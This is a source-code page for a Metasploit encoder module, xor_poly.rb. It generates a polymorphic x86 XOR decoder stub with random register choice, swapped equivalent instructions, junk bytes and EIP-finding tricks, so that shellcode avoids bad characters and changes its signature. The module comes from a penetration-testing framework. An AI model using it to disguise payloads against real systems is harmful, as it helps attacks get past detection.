CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/encoders/x86/xor_poly.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Encoder::Xor
7
8
def initialize
9
super(
10
'Name' => 'XOR POLY Encoder',
11
'Description' => 'An x86 Simple POLY Xor encoding method. using polymorphism Register swapping, and instructions modification',
12
'Author' => [ 'Arthur RAOUT' ],
13
'Arch' => ARCH_X86,
14
'License' => MSF_LICENSE,
15
'Decoder' => {
16
'KeySize' => 4,
17
'BlockSize' => 4,
18
'KeyPack' => 'V'
19
}
20
)
21
end
22
23
# Indicate that this module can preserve the registers used
24
def can_preserve_registers?
25
true
26
end
27
28
# select a permutation from table
29
def choose_permutation(state, table)
30
table = table.shuffle
31
for i in 0..table.length - 1
32
if table[i].count(state.badchars).zero?
33
return table[i]
34
end
35
end
36
raise 'No permutation found for the badchar set :' + state.badchars.inspect
37
end
38
39
# generate instruction for a push
40
def register_preservation_generate(flag, regs)
41
ret = ''
42
pop = 0b0101_1000
43
push = 0b0101_0000
44
if flag == 0
45
for r in regs
46
ret += [push | r].pack('C')
47
end
48
end
49
if flag == 1
50
for r in regs.reverse
51
ret += [pop | r].pack('C')
52
end
53
end
54
return ret
55
end
56
57
def decoder_stub(state)
58
state.decoder_key_size = 4
59
state.decoder_key_pack = 'V'
60
# calculate the (negative) and positive block count.
61
block_count = [-(((state.buf.length - 1) / state.decoder_key_size) + 1)].pack('V')
62
block_count_positive = [(((state.buf.length - 1) / state.decoder_key_size) + 1)].pack('V')
63
64
regs = [0b0000, 0b0001, 0b0010, 0b0011, 0b0110, 0b0111]
65
66
pop = 0b0101_1000
67
push = 0b0101_0000
68
mov = 0b1011_1000
69
70
reg1 = regs[rand(6)]
71
regs.delete(reg1)
72
reg2 = regs[rand(5)]
73
regs.delete(reg2)
74
reg3 = regs[rand(4)]
75
regs.delete(reg3)
76
reg4 = regs[rand(3)] # reg4 is useless and used for nopLike operations
77
regs.delete(reg4)
78
79
# NOPS
80
nop_nop_nop_nop = "\x90\x90\x90\x90" # 4 bytes
81
push_pop12 = [push | reg1, push | reg2, pop | reg2, pop | reg1].pack('CCCC') # 4 bytes
82
push_pop34 = [push | reg3, push | reg4, pop | reg4, pop | reg3].pack('CCCC') # 4 bytes
83
push_pop56 = [push | reg4, push | reg1, pop | reg1, pop | reg4].pack('CCCC') # 4 bytes
84
85
sub_reg_0 = [0x83, (0xE8 | rand(6)), 0x00].pack('CCC') # 3 bytes
86
add_reg_0 = [0x83, (0xc0 | rand(6)), 0x00].pack('CCC') # 3 bytes
87
add_reg4_1 = [0x83, (0xc0 | reg4), 0x01].pack('CCC') # 3 bytes
88
add_reg4_33 = [0x83, (0xc0 | reg4), 0x33].pack('CCC') # 3 bytes
89
add_reg4_f1 = [0x83, (0xc0 | reg4), 0xf1].pack('CCC') # 3 bytes
90
nop_nop_nop = "\x90\x90\x90" # 3 bytes
91
92
push_pop1 = [push | reg1, pop | reg1].pack('CC') # 2 bytes
93
push_pop2 = [push | reg2, pop | reg2].pack('CC') # 2 bytes
94
push_pop3 = [push | reg3, pop | reg3].pack('CC') # 2 bytes
95
push_pop4 = [push | reg4, pop | reg4].pack('CC') # 2 bytes
96
inc_reg1_dec_reg1 = [0x40 | reg1, 0x48 | reg1].pack('CC') # 2 bytes
97
inc_reg2_dec_reg2 = [0x40 | reg2, 0x48 | reg2].pack('CC') # 2 bytes
98
inc_reg3_dec_reg3 = [0x40 | reg3, 0x48 | reg3].pack('CC') # 2 bytes
99
inc_reg4_dec_reg4 = [0x40 | reg4, 0x48 | reg4].pack('CC') # 2 bytes
100
101
# nops tables by size
102
nops_2_bytes = [push_pop1, push_pop2, push_pop3, push_pop4, "\x90\x90", inc_reg1_dec_reg1, inc_reg2_dec_reg2, inc_reg3_dec_reg3, inc_reg4_dec_reg4]
103
nops_3_bytes = [nop_nop_nop, push_pop1 + "\x90", push_pop2 + "\x90", push_pop3 + "\x90", push_pop4 + "\x90", sub_reg_0, add_reg_0, choose_permutation(state, nops_2_bytes) + "\x90", add_reg4_1, add_reg4_33, add_reg4_f1]
104
nops_4_bytes = [nop_nop_nop_nop, push_pop12, push_pop34, push_pop56, choose_permutation(state, nops_2_bytes) + choose_permutation(state, nops_2_bytes), choose_permutation(state, nops_3_bytes) + "\x90"]
105
106
# THE DECODER CODE
107
pop_reg1 = [pop | reg1].pack('C')
108
109
# sub 5 from reg1 on 5 byte
110
sub_reg1_5 = [0x83, (0xE8 | reg1), 0x05].pack('CCC') + choose_permutation(state, nops_2_bytes) # 5 bytes
111
add_reg1_neg5 = [0x83, (0xc0 | reg1), 0xfb].pack('CCC') + choose_permutation(state, nops_2_bytes) # 5 bytes
112
dec_reg1_5 = [0x48 | reg1, 0x48 | reg1, 0x48 | reg1, 0x48 | reg1, 0x48 | reg1].pack('CCCCC') # 5 bytes
113
114
# set reg2 to 0, on 6 bytes
115
xor_reg2_reg2 = [0x31, (0xC0 | (reg2 << 3) | reg2)].pack('CC') + choose_permutation(state, nops_4_bytes) # 6 bytes
116
and_reg2_0 = [0x83, (0xE0 | reg2), 0x00].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes
117
lea_reg2_0 = [0x8D, (0x05 | (reg2 << 3)), 0x00, 0x00, 0x00, 0x00].pack('CCCCCC')
118
imul_reg2_reg2_0 = [0x6b, (0xC0 | (reg2 << 3) | reg2), 0x00].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes
119
sub_reg2_reg2 = [0x29, (0xC0 | (reg2 << 3) | reg2)].pack('CC') + choose_permutation(state, nops_4_bytes) # 6 bytes
120
push0_popreg2 = [0x6A, 0x00, (0x58 | reg2)].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes
121
122
# SET REG2 TO BLOCK_COUNT
123
sub_reg2_bc = [0x81, (0xe8 | reg2)].pack('CC') + block_count
124
add_reg2_bc = [0x81, (0xc0 | reg2)].pack('CC') + block_count_positive
125
126
mov_reg3 = [mov | reg3].pack('C')
127
xor_rel_reg1_reg3 = [0x31, (0x40 | (reg3 << 3 | reg1))].pack('cc')
128
129
# ADD 4 TO REG1
130
add_reg1_4 = [0x83, (0xC0 | reg1), 0x04].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes
131
sub_reg1_neg4 = [0x83, (0xE8 | reg1), 0xFC].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes
132
inc_reg1_4 = [0x40 | reg1, 0x40 | reg1, 0x40 | reg1, 0x40 | reg1].pack('CCCC') + choose_permutation(state, nops_2_bytes) # 6 bytes
133
134
# sub 1 from reg2 on 6 bytes
135
dec_r2 = [0xFF, (0xC8 | reg2)].pack('CC')
136
sub_reg2_1 = [0x83, (0xE8 | reg2), 0x01].pack('CCC')
137
add_reg2_neg1 = [0x83, (0xC0 | reg2), 0xFF].pack('CCC')
138
139
set_reg2_0 = [xor_reg2_reg2, and_reg2_0, lea_reg2_0, imul_reg2_reg2_0, sub_reg2_reg2, push0_popreg2]
140
sub_reg1_0x5 = [sub_reg1_5, add_reg1_neg5, dec_reg1_5]
141
set_reg2_bc = [sub_reg2_bc, add_reg2_bc]
142
143
# GET EIP TO REG1
144
call_pop = [0xE8, 0x00, 0x00, 0x00, 0x00].pack('CCCCC') + pop_reg1 + choose_permutation(state, sub_reg1_0x5)
145
fpu_inst = ["\xD9\xE0", "\xDF\xE9", "\xDB\xC9", "\xDA\xD9", "\xDA\xC1", "\xDA\xD1", "\xDB\xD9"] # 2 bytes
146
fnstenv_pop = choose_permutation(state, fpu_inst) + "\xD9\x74\x24\xF4" + pop_reg1
147
add_reg1_0x4 = [add_reg1_4, sub_reg1_neg4, inc_reg1_4]
148
dec_reg2 = [dec_r2, sub_reg2_1, add_reg2_neg1]
149
get_eip = [call_pop, fnstenv_pop]
150
151
small_junk = [choose_permutation(state, nops_2_bytes), choose_permutation(state, nops_3_bytes), choose_permutation(state, nops_4_bytes)]
152
153
reg_for_preservation = [reg1, reg2, reg3, reg4].shuffle
154
reg_push = register_preservation_generate(0, reg_for_preservation)
155
reg_pop = register_preservation_generate(1, reg_for_preservation)
156
geip = choose_permutation(state, get_eip)
157
junk = choose_permutation(state, small_junk)
158
reg2_0 = choose_permutation(state, set_reg2_0)
159
block_count_set = choose_permutation(state, set_reg2_bc)
160
reg1_add4 = choose_permutation(state, add_reg1_0x4)
161
decrement_reg2 = choose_permutation(state, dec_reg2)
162
163
decoder = reg_push +
164
geip + # get EIP into REG1
165
junk + # small junk
166
reg2_0 + # set REG2 to 0
167
block_count_set + # sub reg2, block_count
168
mov_reg3 + 'XXXX' + # mov reg3, 0xKEY_KEY_KEY_KEY
169
xor_rel_reg1_reg3 + 'LL' + # xor [reg1+DECODER_LEN], reg3
170
reg1_add4 + # add reg1, 4
171
decrement_reg2 + # dec reg2
172
"\x75" + 'SS' + # jnz to xor
173
reg_pop
174
175
decoder_len = decoder.size
176
jmp = decoder.index(xor_rel_reg1_reg3) - decoder.index('SS')
177
decoder.sub! 'SS', [jmp].pack('C')
178
decoder.sub! 'LL', [decoder_len - 6].pack('C')
179
# example of decoder generated
180
# e800000000 call loc._start.continue
181
# 58 pop eax
182
# 83e805 sub eax, 5
183
# 31c9 xor ecx, ecx
184
# 81e9bbbbbbbb sub ecx, 0xbbbbbbbb
185
# bbaaaaaaaa mov ebx, 0xaaaaaaaa
186
# 31581f xor dword [eax + 0x1f], ebx
187
# 83e8f4 sub eax, 0xfffffff4
188
# e2f8 loop loc._start.check
189
state.decoder_key_offset = decoder.index('XXXX')
190
return decoder
191
end
192
end
193
194